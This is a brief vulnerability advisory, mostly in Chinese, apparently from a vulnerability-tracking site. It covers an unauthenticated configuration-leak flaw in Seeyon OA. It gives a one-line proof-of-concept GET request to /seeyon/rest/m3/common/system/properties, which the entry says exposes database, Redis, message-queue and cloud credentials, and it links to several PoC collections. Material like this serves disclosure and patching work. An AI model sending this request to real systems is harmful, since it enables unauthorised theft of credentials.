Description
致远OA系统存在配置信息泄露漏洞，未授权访问者可获取完整的系统配置信息，包括数据库连接串、用户名密码、Redis配置、消息队列密码、云服务密钥等敏感数据。
致远OA /seeyon/rest/m3/common/system/properties 信息泄露漏洞
PoC
GET /seeyon/rest/m3/common/system/properties HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COAV52019%E7%B3%BB%E7%BB%9Fproperties%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.md
https://cn-sec.com/archives/3214985.html
https://gitee.com/hxyue/POC1/blob/main/%E8%87%B4%E8%BF%9COAV52019%E7%B3%BB%E7%BB%9Fproperties%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/2401_87438300/article/details/142443991
https://leeyuxun.github.io/%E8%87%B4%E8%BF%9COA%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.html